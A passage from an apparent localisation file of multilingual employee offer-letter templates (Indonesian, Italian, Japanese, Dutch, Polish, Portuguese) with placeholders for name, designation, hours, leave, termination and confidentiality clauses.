pemberitahuan atau gaji bulan sebelumnya untuk periode yang belum disimpan, yang tersisa setelah penyesuaian cuti yang tertunda, pada tanggal.

10.3 Perusahaan berhak untuk mengakhiri hubungan kerja Anda dengan segera tanpa pemberitahuan jangka waktu atau pembayaran pemutusan hubungan kerja

jika memiliki alasan yang masuk akal untuk meyakini bahwa Anda bersalah atas kesalahan atau kelalaian, atau telah melakukan pelanggaran mendasar apa pun terhadap

kontrak, atau menyebabkan kerugian bagi Perusahaan.

10. 4 Pada pemutusan hubungan kerja Anda karena alasan apa pun, Anda akan mengembalikan semua properti kepada Perusahaan; dokumen, dan

kertas, baik asli maupun salinannya, termasuk contoh, literatur, kontrak, catatan, daftar, gambar, cetak biru,

surat, catatan, data dan sejenisnya; dan Informasi Rahasia, yang Anda miliki atau di bawah kendali Anda terkait dengan

pekerjaan atau untuk urusan bisnis klien.

11. Informasi Rahasia

11. 1 Selama bekerja di Perusahaan, Anda akan mencurahkan seluruh waktu, perhatian, dan keterampilan Anda sebaik mungkin untuk

bisnisnya. Anda tidak boleh, secara langsung atau tidak langsung, terlibat atau mengasosiasikan diri Anda dengan, terhubung dengan, terkait, dipekerjakan, atau

waktu atau mengikuti program studi apapun, tanpa izin sebelumnya dari Perusahaan.terlibat dalam bisnis lain atau

kegiatan atau pos atau pekerjaan paruh waktu lainnya atau mengejar program studi apa pun, tanpa izin sebelumnya dari

Perusahaan.

11.2 Anda harus selalu menjaga tingkat kerahasiaan tertinggi dan merahasiakan catatan, dokumen, dan lainnya

Informasi Rahasia yang berkaitan dengan bisnis Perusahaan yang mungkin Anda ketahui atau rahasiakan kepada Anda dengan cara apa pun

dan Anda akan menggunakan catatan, dokumen, dan informasi tersebut hanya dengan cara yang sah untuk kepentingan Perusahaan. Untuk

tujuan klausul ini Informasi Rahasia berarti informasi tentang bisnis Perusahaan dan pelanggannya

yang tidak tersedia untuk masyarakat umum dan yang mungkin Anda pelajari selama masa kerja Anda. Ini termasuk,

tetapi tidak terbatas pada, informasi yang berkaitan dengan organisasi, daftar pelanggannya, kebijakan ketenagakerjaan, personel, dan informasi

tentang produk Perusahaan, proses termasuk ide, konsep, proyeksi, teknologi, manual, gambar, desain,

spesifikasi, dan semua makalah, resume, catatan dan dokumen lain yang berisi Informasi Rahasia tersebut.

11.3 Kapan pun Anda akan menghapus Informasi Rahasia apa pun dari kantor tanpa izin.

11.4 Kewajiban Anda untuk melindungi dan tidak mengungkapkan

e Informasi Rahasia akan tetap berlaku setelah berakhirnya atau pengakhiran Perjanjian ini dan/atau hubungan kerja Anda dengan Perusahaan.

11.5 Pelanggaran terhadap ketentuan klausul ini akan membuat Anda bertanggung jawab atas pemecatan singkat berdasarkan klausul di atas selain dari:

upaya hukum lain yang mungkin dimiliki Perusahaan terhadap Anda secara hukum.

12. Pemberitahuan

Pemberitahuan dapat diberikan oleh Anda kepada Perusahaan di alamat kantor terdaftarnya. Pemberitahuan dapat diberikan oleh Perusahaan kepada Anda di

alamat yang diberitahukan oleh Anda dalam catatan resmi.

13. Keberlakuan Kebijakan Perusahaan

Perusahaan berhak untuk membuat pernyataan kebijakan dari waktu ke waktu berkaitan dengan hal-hal seperti hak cuti, persalinan

cuti, tunjangan karyawan, jam kerja, kebijakan transfer, dll., dan dapat mengubahnya dari waktu ke waktu atas kebijakannya sendiri.

Semua keputusan kebijakan Perusahaan tersebut akan mengikat Anda dan akan mengesampingkan Perjanjian ini sejauh itu.

14. Hukum/Yurisdiksi yang Mengatur

Pekerjaan Anda dengan Perusahaan tunduk pada undang-undang Negara. Semua perselisihan akan tunduk pada yurisdiksi Pengadilan Tinggi

Gujarat saja.

15. Penerimaan penawaran kami

Harap konfirmasikan penerimaan Anda atas Kontrak Kerja ini dengan menandatangani dan mengembalikan salinan duplikatnya.

Kami menyambut Anda dan berharap untuk menerima penerimaan Anda dan bekerja sama dengan Anda.

Dengan hormat,

{app_name}

{date}

', 'it' => '

Lettera di adesione

{date}

{employee_name}

{address}

Oggetto: Appuntamento alla carica di {designation}

Gentile {employee_name},

Siamo lieti di offrirti la posizione di {designation} con {app_name} la "Società" alle seguenti condizioni e

condizioni:

1. Inizio del rapporto di lavoro

Il tuo impiego sarà effettivo a partire da {start_date}

2. Titolo di lavoro

Il tuo titolo di lavoro sarà {designation}.

3. Stipendio

Il tuo stipendio e altri benefici saranno come indicato nellAllegato 1, qui di seguito.

4. Luogo di invio

Sarai inviato a {branch}. Tuttavia, potrebbe essere richiesto di lavorare in qualsiasi luogo di attività che la Società ha, o

potrà successivamente acquisire.

5. Orario di lavoro

I normali giorni lavorativi sono dal lunedì al venerdì. Ti verrà richiesto di lavorare per le ore necessarie per il

corretto adempimento dei propri doveri nei confronti della Società. Lorario di lavoro normale va da {start_time} a {end_time} e tu lo sei

dovrebbe lavorare non meno di {total_hours} ore ogni settimana e, se necessario, per ore aggiuntive a seconda del tuo

responsabilità.

6. Permessi/Festività

6.1 Hai diritto a un congedo occasionale di 12 giorni.

6.2 Hai diritto a 12 giorni lavorativi di congedo per malattia retribuito.

6.3 La Società comunica allinizio di ogni anno un elenco delle festività dichiarate.

7. Natura degli incarichi

Eseguirai al meglio delle tue capacità tutti i compiti inerenti al tuo incarico e compiti aggiuntivi come lazienda

può invitarti a esibirti, di tanto in tanto. I tuoi doveri specifici sono stabiliti nellAllegato II del presente documento.

8. Proprietà aziendale

Manterrete sempre in buono stato i beni dellAzienda, che nel corso dellanno potrebbero esservi affidati per uso ufficiale

il tuo impiego, e restituirà tutte queste proprietà alla Società prima della rinuncia al tuo addebito, in caso contrario il costo

degli stessi saranno da voi recuperati dalla Società.

9. Prendere in prestito/accettare regali

Non prenderai in prestito né accetterai denaro, dono, ricompensa o compenso per i tuoi guadagni personali da o altrimenti collocato te stesso

sotto obbligazione pecuniaria nei confronti di qualsiasi persona/cliente con cui potresti avere rapporti ufficiali.

10. Cessazione

10.1 Il tuo incarico può essere risolto dalla Società, senza alcun motivo, dandoti non meno di [Avviso] mesi prima

avviso scritto o stipendio in sostituzione di esso. Ai fini della presente clausola, per stipendio si intende lo stipendio base.

10.2 È possibile terminare il proprio rapporto di lavoro con la Società, senza alcuna causa, fornendo non meno di [Avviso per il dipendente]

mesi di preavviso o stipendio per il periodo non risparmiato, lasciato dopo ladeguamento delle ferie pendenti, come alla data.

10.3 La Società si riserva il diritto di terminare il rapporto di lavoro sommariamente senza alcun periodo di preavviso o pagamento di cessazione

se ha fondati motivi per ritenere che tu sia colpevole di cattiva condotta o negligenza, o abbia commesso una violazione fondamentale

contratto, o ha causato danni alla Società.

10. 4 Alla cessazione del rapporto di lavoro per qualsiasi motivo, restituirete alla Società tutti i beni; documenti, e

carta, sia in originale che in copia, inclusi eventuali campioni, letteratura, contratti, registrazioni, elenchi, disegni, progetti,

lettere, note, dati e simili; e Informazioni Riservate, in tuo possesso o sotto il tuo controllo, relative alla tua

lavoro o agli affari dei clienti.

11. Confidential Information

11. 1 During your employment with the Company you will devote your whole time, attention, and skill to the best of your ability for

its business. You shall not, directly or indirectly, engage or associate yourself with, be connected with, concerned, employed, or

time or pursue any course of study whatsoever, without the prior permission of the Company.engaged in any other business or

activities or any other post or work part-time or pursue any course of study whatsoever, without the prior permission of the

Company.

11.2 You must always maintain the highest degree of confidentiality and keep as confidential the records, documents, and other 

Confidential Information relating to the business of the Company which may be known to you or confided in you by any means

and you will use such records, documents and information only in a duly authorized manner in the interest of the Company. For

the purposes of this clause ‘Confidential Information’ means information about the Company’s business and that of its customers

which is not available to the general public and which may be learned by you in the course of your employment. This includes,

but is not limited to, information relating to the organization, its customer lists, employment policies, personnel, and information

about the Company’s products, processes including ideas, concepts, projections, technology, manuals, drawing, designs, 

specifications, and all papers, resumes, records and other documents containing such Confidential Information.

11.3 At no time, will you remove any Confidential Information from the office without permission.

11.4 Your duty to safeguard and not disclos

e Confidential Information will survive the expiration or termination of this Agreement and/or your employment with the Company.

11.5 Breach of the conditions of this clause will render you liable to summary dismissal under the clause above in addition to any

other remedy the Company may have against you in law.

12. Notices

Notices may be given by you to the Company at its registered office address. Notices may be given by the Company to you at

the address intimated by you in the official records.

13. Applicability of Company Policy

The Company shall be entitled to make policy declarations from time to time pertaining to matters like leave entitlement,maternity

leave, employees’ benefits, working hours, transfer policies, etc., and may alter the same from time to time at its sole discretion.

All such policy decisions of the Company shall be binding on you and shall override this Agreement to that  extent.

14. Governing Law/Jurisdiction

Your employment with the Company is subject to Country laws. All disputes shall be subject to the jurisdiction of High Court

Gujarat only.

15. Acceptance of our offer

Please confirm your acceptance of this Contract of Employment by signing and returning the duplicate copy.

We welcome you and look forward to receiving your acceptance and to working with you.

Yours Sincerely,

{app_name}

{date}

', 'ja' => '

入会の手紙

{date}

{employee_name}

{address}

件名: {designation} の役職への任命

{employee_name} 様

{app_name} の {designation} の地位を以下の条件で「会社」として提供できることをうれしく思います。

条件:

1. 雇用開始

あなたの雇用は {start_date} から有効になります

2. 役職

あなたの役職は{designation}になります。

3. 給与

あなたの給与およびその他の福利厚生は、本明細書のスケジュール 1 に記載されているとおりです。

4. 掲示場所

{branch} に掲載されます。ただし、会社が所有する事業所で働く必要がある場合があります。

後で取得する場合があります。

5. 労働時間

通常の営業日は月曜日から金曜日です。あなたは、そのために必要な時間働く必要があります。

会社に対するあなたの義務の適切な遂行。通常の勤務時間は {start_time} から {end_time} までで、あなたは

毎週 {total_hours} 時間以上の勤務が期待される

責任。

6.休暇・休日

6.1 12 日間の臨時休暇を取得する権利があります。

6.2 12 日間の有給病気休暇を取る権利があります。

6.3 当社は、毎年の初めに宣言された休日のリストを通知するものとします。

7. 職務内容

あなたは、自分のポストに固有のすべての義務と、会社としての追加の義務を最大限に遂行します。

時々あなたに演奏を依頼するかもしれません。あなたの特定の義務は、本明細書のスケジュール II に記載されています。

8. 会社財産

あなたは、会社の所有物を常に良好な状態に維持するものとします。

あなたの雇用を放棄し、あなたの料金を放棄する前に、そのようなすべての財産を会社に返還するものとします。

同じのは、会社によってあなたから回収されます。

9. 貸出・贈答品の受け取り

あなたは、あなた自身から、または他の方法であなた自身の場所から個人的な利益を得るための金銭、贈り物、報酬、または補償を借りたり、受け取ったりしません。

あなたが公式の取引をしている可能性のある人物/クライアントに対する金銭的義務の下で。

10. 終了

10.1 少なくとも [通知] か月前に通知することにより、理由のいかんを問わず、会社はあなたの任命を終了することができます。

書面による通知またはその代わりの給与。この条項の目的上、給与とは基本給を意味するものとします。

10.2 あなたは、少なくとも [従業員通知] を提出することにより、理由のいかんを問わず、会社での雇用を終了することができます。

保留中の休暇の調整後に残された、保存されていない期間の数か月前の通知または給与は、日付のとおりです。

10.3 当社は、通知期間や解雇補償金なしに、あなたの雇用を即座に終了させる権利を留保します。

あなたが不正行為または過失で有罪であると信じる合理的な根拠がある場合、または基本的な違反を犯した場合

契約、または当社に損害を与えた。

10. 4 何らかの理由で雇用が終了した場合、あなたは会社にすべての財産を返還するものとします。ドキュメント、および

サンプル、文献、契約書、記録、リスト、図面、青写真を含む、原本とコピーの両方の紙、

手紙、メモ、データなど。あなたが所有する、またはあなたの管理下にある機密情報。

雇用またはクライアントの業務に。

11. 機密情報

11. 1 当社での雇用期間中、あなたは自分の全時間、注意、およびスキルを、自分の能力の限りを尽くして捧げます。

そのビジネス。あなたは、直接的または間接的に、関与したり、関連付けたり、接続したり、関係したり、雇用したり、または

会社の事前の許可なしに、時間や学習コースを追求すること。他のビジネスに従事すること、または

の事前の許可なしに、活動またはその他の投稿またはアルバイトをしたり、何らかの研究コースを追求したりすること。

会社。

11.2 常に最高度の機密性を維持し、記録、文書、およびその他の情報を機密として保持する必要があります。

お客様が知っている、または何らかの方法でお客様に内密にされている可能性がある、当社の事業に関連する機密情報

また、あなたは、会社の利益のために正当に承認された方法でのみ、そのような記録、文書、および情報を使用するものとします。為に

この条項の目的 「機密情報」とは、会社の事業および顧客の事業に関する情報を意味します。

これは一般には公開されておらず、雇用の過程で学習する可能性があります。これも、

組織、その顧客リスト、雇用方針、人事、および情報に関連する情報に限定されません

当社の製品、アイデアを含むプロセス、コンセプト、予測、技術、マニュアル、図面、デザイン、

仕様、およびそのような機密情報を含むすべての書類、履歴書、記録、およびその他の文書。

11.3 いかなる時も、許可なくオフィスから機密情報を削除しないでください。

11.4 保護し、開示しないというあなたの義務

e 機密情報は、本契約および/または当社との雇用の満了または終了後も存続します。

11.5 この条項の条件に違反した場合、上記の条項に基づく略式解雇の対象となります。

会社が法律であなたに対して持つことができるその他の救済。

12. 通知

通知は、登録された事務所の住所で会社に提出することができます。通知は、当社からお客様に提供される場合があります。

公式記録であなたがほのめかした住所。

13. 会社方針の適用性

会社は、休暇の資格、出産などの事項に関して、随時方針を宣言する権利を有するものとします。

休暇、従業員の福利厚生、勤務時間、異動ポリシーなどであり、独自の裁量により随時変更される場合があります。

当社のそのようなポリシー決定はすべて、あなたを拘束し、その範囲で本契約を無効にするものとします。

14. 準拠法・裁判管轄

当社でのあなたの雇用は、国の法律の対象となります。すべての紛争は、高等裁判所の管轄に服するものとします

グジャラートのみ。

15. オファーの受諾

副本に署名して返送することにより、この雇用契約に同意したことを確認してください。

私たちはあなたを歓迎し、あなたの受け入れを受け取り、あなたと一緒に働くことを楽しみにしています.

敬具、

{app_name}

{date}

', 'nl' => '

Deelnemende brief

{date}

{employee}

{address}

Onderwerp: Benoeming voor de functie van {designation}

Beste {employee_name},

We zijn verheugd u de positie van {designation} bij {app_name} het Bedrijf aan te bieden onder de volgende voorwaarden en

conditie:

1. Indiensttreding

Uw dienstverband gaat in op {start_date}

2. Functietitel

Uw functietitel wordt {designation}.

3. Salaris

Uw salaris en andere voordelen zijn zoals uiteengezet in Schema 1 hierbij.

4. Plaats van detachering

Je wordt geplaatst op {branch}. Het kan echter zijn dat u moet werken op een bedrijfslocatie die het Bedrijf heeft, of

later kan verwerven.

5. Werkuren

De normale werkdagen zijn van maandag tot en met vrijdag. Je zal de uren moeten werken die nodig zijn voor de

correcte uitvoering van uw taken jegens het bedrijf. De normale werkuren zijn van {start_time} tot {end_time} en jij bent

naar verwachting niet minder dan {total_hours} uur per week werken, en indien nodig voor extra uren, afhankelijk van uw

verantwoordelijkheden.

6. Verlof/Vakantie

6.1 Je hebt recht op tijdelijk verlof van 12 dagen.

6.2 U heeft recht op 12 werkdagen betaald ziekteverlof.

6.3 De Maatschappij stelt aan het begin van elk jaar een lijst van verklaarde feestdagen op.

7. Aard van de taken

Je voert alle taken die inherent zijn aan je functie en bijkomende taken zoals het bedrijf naar beste vermogen uit;

kan van tijd tot tijd een beroep op u doen om op te treden. Uw specifieke taken zijn uiteengezet in Bijlage II hierbij.

8. Bedrijfseigendommen

U onderhoudt bedrijfseigendommen, die u in de loop van

uw dienstverband, en zal al deze eigendommen aan het Bedrijf teruggeven voordat afstand wordt gedaan van uw kosten, bij gebreke waarvan de kosten

hiervan zal door het Bedrijf van u worden verhaald.

9. Geschenken lenen/aannemen

U zult geen geld, geschenken, beloningen of vergoedingen voor uw persoonlijk gewin lenen of accepteren van uzelf of uzelf op een andere manier plaatsen

onder geldelijke verplichting jegens een persoon/klant met wie u mogelijk officiële betrekkingen heeft.

10. Beëindiging

10.1 Uw aanstelling kan door het Bedrijf zonder opgaaf van reden worden beëindigd door u minimaal [Opzegging] maanden van tevoren

schriftelijke opzegging of daarvoor in de plaats komend salaris. In dit artikel wordt onder salaris verstaan ​​het basissalaris.

10.2 U kunt uw dienstverband bij het Bedrijf beëindigen, zonder enige reden, door niet minder dan [Mededeling van de werknemer]

maanden opzegtermijn of salaris voor de niet gespaarde periode, overgebleven na aanpassing van hangende verlofdagen, zoals op datum.

10.3 Het bedrijf behoudt zich het recht voor om uw dienstverband op staande voet te beëindigen zonder enige opzegtermijn of beëindigingsvergoeding

als het redelijke grond heeft om aan te nemen dat u zich schuldig heeft gemaakt aan wangedrag of nalatigheid, of een fundamentele schending van

contract, of enig verlies voor het Bedrijf veroorzaakt.

10. 4 Bij beëindiging van uw dienstverband om welke reden dan ook, geeft u alle eigendommen terug aan het Bedrijf; documenten, en

papier, zowel origineel als kopieën daarvan, inclusief eventuele monsters, literatuur, contracten, bescheiden, lijsten, tekeningen, blauwdrukken,

brieven, notities, gegevens en dergelijke; en Vertrouwelijke informatie, in uw bezit of onder uw controle met betrekking tot uw

werkgelegenheid of de zakelijke aangelegenheden van klanten.

11. Vertrouwelijke informatie

11. 1 Tijdens uw dienstverband bij het Bedrijf besteedt u al uw tijd, aandacht en vaardigheden naar uw beste vermogen aan:

zijn zaken. U mag zich niet, direct of indirect, inlaten met of verbonden zijn met, betrokken zijn bij, betrokken zijn bij, in dienst zijn van of

tijd doorbrengen of een studie volgen, zonder voorafgaande toestemming van het bedrijf.bezig met een ander bedrijf of

werkzaamheden of enige andere functie of werk in deeltijd of het volgen van welke opleiding dan ook, zonder voorafgaande toestemming van de

Bedrijf.

11.2 U moet altijd de hoogste graad van vertrouwelijkheid handhaven en de records, documenten en andere

Vertrouwelijke informatie met betrekking tot het bedrijf van het bedrijf die u op enigerlei wijze bekend is of in vertrouwen is genomen

en u zult dergelijke records, documenten en informatie alleen gebruiken op een naar behoren gemachtigde manier in het belang van het bedrijf. Voor

de doeleinden van deze clausule Vertrouwelijke informatiebetekent informatie over het bedrijf van het bedrijf en dat van zijn klanten

die niet beschikbaar is voor het grote publiek en die u tijdens uw dienstverband kunt leren. Dit bevat,

maar is niet beperkt tot informatie met betrekking tot de organisatie, haar klantenlijsten, werkgelegenheidsbeleid, personeel en informatie

over de producten, processen van het bedrijf, inclusief ideeën, concepten, projecties, technologie, handleidingen, tekeningen, ontwerpen,

specificaties, en alle papieren, cvs, dossiers en andere documenten die dergelijke vertrouwelijke informatie bevatten.

11.3 U verwijdert nooit vertrouwelijke informatie van het kantoor zonder toestemming.

11.4 Uw plicht om te beschermen en niet openbaar te maken

e Vertrouwelijke informatie blijft van kracht na het verstrijken of beëindigen van deze Overeenkomst en/of uw dienstverband bij het Bedrijf.

11.5 Schending van de voorwaarden van deze clausule maakt u aansprakelijk voor ontslag op staande voet op grond van de bovenstaande clausule, naast eventuele:

ander rechtsmiddel dat het Bedrijf volgens de wet tegen u heeft.

12. Kennisgevingen

Kennisgevingen kunnen door u aan het Bedrijf worden gedaan op het adres van de maatschappelijke zetel. Kennisgevingen kunnen door het bedrijf aan u worden gedaan op:

het door u opgegeven adres in de officiële administratie.

13. Toepasselijkheid van het bedrijfsbeleid

Het bedrijf heeft het recht om van tijd tot tijd beleidsverklaringen af ​​te leggen met betrekking tot zaken als verlofrecht, moederschap

verlof, werknemersvoordelen, werkuren, transferbeleid, enz., en kan deze van tijd tot tijd naar eigen goeddunken wijzigen.

Al dergelijke beleidsbeslissingen van het Bedrijf zijn bindend voor u en hebben voorrang op deze Overeenkomst in die mate.

14. Toepasselijk recht/jurisdictie

Uw dienstverband bij het bedrijf is onderworpen aan de landelijke wetgeving. Alle geschillen zijn onderworpen aan de jurisdictie van de High Court

Alleen Gujarat.

15. Aanvaarding van ons aanbod

Bevestig uw aanvaarding van deze arbeidsovereenkomst door het duplicaat te ondertekenen en terug te sturen.

Wij heten u van harte welkom en kijken ernaar uit uw acceptatie te ontvangen en met u samen te werken.

Hoogachtend,

{app_name}

{date}

', 'pl' => '

Dołączanie listu

{date }

{employee_name }

{address }

Dotyczy: mianowania na stanowisko {designation}

Szanowny {employee_name },

Mamy przyjemność zaoferować Państwu, stanowisko {designation} z {app_name } "Spółka" na poniższych warunkach i

warunki:

1. Rozpoczęcie pracy

Twoje zatrudnienie będzie skuteczne, jak na {start_date }

2. Tytuł zadania

Twój tytuł pracy to {designation}.

3. Salary

Twoje wynagrodzenie i inne świadczenia będą określone w Zestawieniu 1, do niniejszego rozporządzenia.

4. Miejsce delegowania

Użytkownik zostanie opublikowany w {branch }. Użytkownik może jednak być zobowiązany do pracy w dowolnym miejscu prowadzenia działalności, które Spółka posiada, lub może później nabyć.

5. Godziny pracy

Normalne dni robocze są od poniedziałku do piątku. Będziesz zobowiązany do pracy na takie godziny, jakie są niezbędne do prawidłowego wywiązania się ze swoich obowiązków wobec Spółki. Normalne godziny pracy to {start_time } do {end_time }, a użytkownik oczekuje, że będzie pracować nie mniej niż {total_hours } godzin tygodniowo, a jeśli to konieczne, przez dodatkowe godziny w zależności od Twojego

odpowiedzialności.

6. Urlop/Wakacje

6.1 Przysługuje prawo do urlopu dorywczego w ciągu 12 dni.

6.2 Użytkownik ma prawo do 12 dni roboczych od wypłatnego zwolnienia chorobowego.

6.3 Spółka powiadamia na początku każdego roku wykaz ogłoszonych świąt. 

7. Rodzaj obowiązków

Będziesz wykonywać na najlepsze ze swojej zdolności wszystkie obowiązki, jak są one nieodłączne w swoim poście i takie dodatkowe obowiązki, jak firma może zadzwonić do wykonania, od czasu do czasu. Państwa szczególne obowiązki są określone w załączniku II do niniejszego rozporządzenia.

8. Właściwość przedsiębiorstwa

Zawsze będziesz utrzymywać w dobrej kondycji Firmy, która może być powierzona do użytku służbowego w trakcie trwania

Twoje zatrudnienie, i zwróci wszystkie takie nieruchomości do Spółki przed zrzeczeniem się opłaty, w przeciwnym razie koszty te same będą odzyskane od Ciebie przez Spółkę.

9. Wypożyczanie/akceptowanie prezentów

Nie będziesz pożyczał ani nie akceptować żadnych pieniędzy, darów, nagrody lub odszkodowania za swoje osobiste zyski z lub w inny sposób złożyć się w ramach zobowiązania pieniężnego do jakiejkolwiek osoby/klienta, z którym może być posiadanie oficjalne relacje.

10. Zakończenie

10.1 Powołanie może zostać wypowiedziane przez Spółkę, bez względu na przyczynę, poprzez podanie nie mniej niż [ Zawiadomienie] miesięcy uprzedniego wypowiedzenia na piśmie lub wynagrodzenia w miejsce jego wystąpienia. Dla celów niniejszej klauzuli, wynagrodzenie oznacza wynagrodzenie podstawowe.

10.2 Użytkownik może rozwiązać umowę o pracę ze Spółką, bez jakiejkolwiek przyczyny, podając nie mniej niż [ ogłoszenie o pracowniku] miesiące przed powiadomieniem lub wynagrodzeniem za niezaoszczędzony okres, pozostawiony po skorygowaniu oczekujących liści, jak na dzień.

10.3 Spółka zastrzega sobie prawo do wypowiedzenia umowy o pracę bez okresu wypowiedzenia lub wypłaty z tytułu rozwiązania umowy, jeżeli ma on uzasadnione podstawy, aby sądzić, że jesteś winny wykroczenia lub niedbalstwa, lub popełnił jakiekolwiek istotne naruszenie umowy lub spowodował jakiekolwiek straty w Spółce. 

10. 4 W sprawie rozwiązania stosunku pracy z jakiegokolwiek powodu, powrócisz do Spółki wszystkie nieruchomości; dokumenty, i 

papieru, zarówno oryginału, jak i jego kopii, w tym wszelkich próbek, literatury, umów, zapisów, wykazów, rysunków, konspektów,

listy, notatki, dane i podobne; informacje poufne, znajdujące się w posiadaniu lub pod Twoją kontrolą związane z zatrudnieniem lub sprawami biznesowymi klientów.   

11. Informacje poufne

11. 1 Podczas swojego zatrudnienia z Firmą poświęcisz cały czas, uwagę i umiejętności na najlepszą z Twoich możliwości

swojej działalności gospodarczej. Użytkownik nie może, bezpośrednio lub pośrednio, prowadzić lub wiązać się z, być związany z, dotyka, zatrudniony lub czas lub prowadzić jakikolwiek kierunek studiów, bez uprzedniej zgody Company.zaangażował się w innej działalności gospodarczej lub działalności lub jakikolwiek inny post lub pracy w niepełnym wymiarze czasu lub prowadzić jakikolwiek kierunek studiów, bez uprzedniej zgody

Firma.

11.2 Zawsze musisz zachować najwyższy stopień poufności i zachować jako poufny akt, dokumenty, i inne 

Informacje poufne dotyczące działalności Spółki, które mogą być znane Państwu lub w dowolny sposób zwierzyny, a Użytkownik będzie posługiwać się takimi zapisami, dokumentami i informacjami tylko w sposób należycie autoryzowany w interesie Spółki. Do celów niniejszej klauzuli "Informacje poufne" oznaczają informacje o działalności Spółki oraz o jej klientach, które nie są dostępne dla ogółu społeczeństwa i które mogą być przez Państwa w trakcie zatrudnienia dowiedzione przez Państwa. Obejmuje to,

ale nie ogranicza się do informacji związanych z organizacją, jej listami klientów, politykami zatrudnienia, personelem oraz informacjami o produktach firmy, procesach, w tym pomysłach, koncepcjach, projekcjach, technikach, podręcznikach, rysunkach, projektach, 

specyfikacje, a także wszystkie dokumenty, życiorysy, zapisy i inne dokumenty zawierające takie informacje poufne.

11.3 W żadnym momencie nie usunie Pan żadnych Informacji Poufnych z urzędu bez zezwolenia.

11.4 Twój obowiązek ochrony a nie disclos

Informacje poufne przetrwają wygaśnięcie lub rozwiązanie niniejszej Umowy i/lub Twoje zatrudnienie w Spółce.

11.5 Naruszenie warunków niniejszej klauzuli spowoduje, że Użytkownik będzie zobowiązany do skróconej umowy w ramach klauzuli powyżej, oprócz wszelkich innych środków zaradcze, jakie Spółka może mieć przeciwko Państwu w prawie.

12. Uwagi

Ogłoszenia mogą być podane przez Państwa do Spółki pod adresem jej siedziby. Ogłoszenia mogą być podane przez Spółkę do Państwa na adres intymniony przez Państwa w ewidencji urzędowej.

13. Stosowność polityki firmy

Spółka jest uprawniona do składania deklaracji politycznych od czasu do czasu dotyczących spraw takich jak prawo do urlopu macierzyńskiego, macierzyństwo

urlopów, świadczeń pracowniczych, godzin pracy, polityki transferowej itp., a także mogą zmieniać to samo od czasu do czasu według własnego uznania.

Wszystkie takie decyzje polityczne Spółki są wiążące dla Państwa i przesłaniają niniejszą Umowę w tym zakresie.

14. Prawo właściwe/jurysdykcja

Twoje zatrudnienie ze Spółką podlega prawu krajowi. Wszelkie spory podlegają właściwości Sądu Najwyższego

Tylko Gujarat.

15. Akceptacja naszej oferty

Prosimy o potwierdzenie przyjęcia niniejszej Umowy o pracę poprzez podpisanie i zwrócenie duplikatu.

Zapraszamy Państwa i czekamy na Państwa przyjęcie i współpracę z Tobą.

Z Państwa Sincerely,

{app_name }

{date }

', 'pt' => '

Carta De Adesão

{data}

{employee_name}

{address}

Assunto: Nomeação para o cargo de {designation}

Querido {employee_name},

Temos o prazer de oferecê-lo, a posição de {designation} com {app_name} a Empresa nos seguintes termos e

condições:

1. Comentamento do emprego

Seu emprego será efetivo, a partir de {start_date}

2. Título do emprego

Seu cargo de trabalho será {designation}.

3. Salário

Seu salário e outros benefícios serão conforme estabelecido no Planejamento 1, hereto.

4. Local de postagem

Você será postado em {branch}. Você pode, no entanto, ser obrigado a trabalhar em qualquer local de negócios que a Empresa tenha, ou possa posteriormente adquirir.

5. Horas de Trabalho

Os dias normais de trabalho são de segunda a sexta-feira. Você será obrigado a trabalhar por tais horas, conforme necessário para a quitação adequada de suas funções para a Companhia. As horas de trabalho normais são de {start_time} para {end_time} e você deve trabalhar não menos de {total_horas} horas semanais, e se necessário para horas adicionais dependendo do seu

responsabilidades.

6. Leave / Holidays

6,1 Você tem direito a licença casual de 12 dias.

6,2 Você tem direito a 12 dias úteis de licença remunerada remunerada.

6,3 Companhia notificará uma lista de feriados declarados no início de cada ano. 

7. Natureza dos deveres

Você irá executar ao melhor da sua habilidade todos os deveres como são inerentes ao seu cargo e tais deveres adicionais como a empresa pode ligar sobre você para executar, de tempos em tempos. Os seus deveres específicos são estabelecidos no Hereto do Planejamento II.

8. Propriedade da empresa

Você sempre manterá em bom estado propriedade Empresa, que poderá ser confiada a você para uso oficial durante o curso de

o seu emprego, e devolverá toda essa propriedade à Companhia antes de abdicar de sua acusação, falhando qual o custo do mesmo será recuperado de você pela Companhia.

9. Borremir / aceitar presentes

Você não vai pedir empréstimo ou aceitar qualquer dinheiro, presente, recompensa ou indenização por seus ganhos pessoais de ou de outra forma colocar-se sob obrigação pecuniária a qualquer pessoa / cliente com quem você pode estar tendo relações oficiais.

10. Terminação

10,1 Sua nomeação pode ser rescindida pela Companhia, sem qualquer razão, dando-lhe não menos do que [aviso] meses de aviso prévio por escrito ou de salário em lieu deste. Para efeito da presente cláusula, o salário deve significar salário base.

10,2 Você pode rescindir seu emprego com a Companhia, sem qualquer causa, ao dar nada menos que [Aviso de contratação] meses de aviso prévio ou salário para o período não salvo, deixado após ajuste de folhas pendentes, conforme data de encontro.

10,3 Empresa reserva-se o direito de rescindir o seu emprego sumariamente sem qualquer prazo de aviso ou de rescisão se tiver terreno razoável para acreditar que você é culpado de má conduta ou negligência, ou tenha cometido qualquer violação fundamental de contrato, ou tenha causado qualquer perda para a Empresa. 

10. 4 Sobre a rescisão do seu emprego por qualquer motivo, você retornará para a Empresa todos os bens; documentos e 

papel, tanto originais como cópias dos mesmos, incluindo quaisquer amostras, literatura, contratos, registros, listas, desenhos, plantas,

cartas, notas, dados e semelhantes; e Informações Confidenciais, em sua posse ou sob seu controle relacionado ao seu emprego ou aos negócios de negócios dos clientes.   

11. Informações Confidenciais

11. 1 Durante o seu emprego com a Companhia você irá dedicar todo o seu tempo, atenção e habilidade para o melhor de sua capacidade de

o seu negócio. Você não deve, direta ou indiretamente, se envolver ou associar-se com, estar conectado com, preocupado, empregado, ou tempo ou prosseguir qualquer curso de estudo, sem a permissão prévia do Company.engajado em qualquer outro negócio ou atividades ou qualquer outro cargo ou trabalho parcial ou prosseguir qualquer curso de estudo, sem a permissão prévia do

Empresa.

11,2 É preciso manter sempre o mais alto grau de confidencialidade e manter como confidenciais os registros, documentos e outros 

Informações confidenciais relativas ao negócio da Companhia que possam ser conhecidas por você ou confiadas em você por qualquer meio e utilizarão tais registros, documentos e informações apenas de forma devidamente autorizada no interesse da Companhia. Para efeitos da presente cláusula "Informações confidenciais" significa informação sobre os negócios da Companhia e a dos seus clientes que não está disponível para o público em geral e que poderá ser aprendida por você no curso do seu emprego. Isso inclui,

mas não se limita a, informações relativas à organização, suas listas de clientes, políticas de emprego, pessoal, e informações sobre os produtos da Companhia, processos incluindo ideias, conceitos, projeções, tecnologia, manuais, desenho, desenhos, 

especificações, e todos os papéis, currículos, registros e outros documentos que contenham tais Informações Confidenciais.

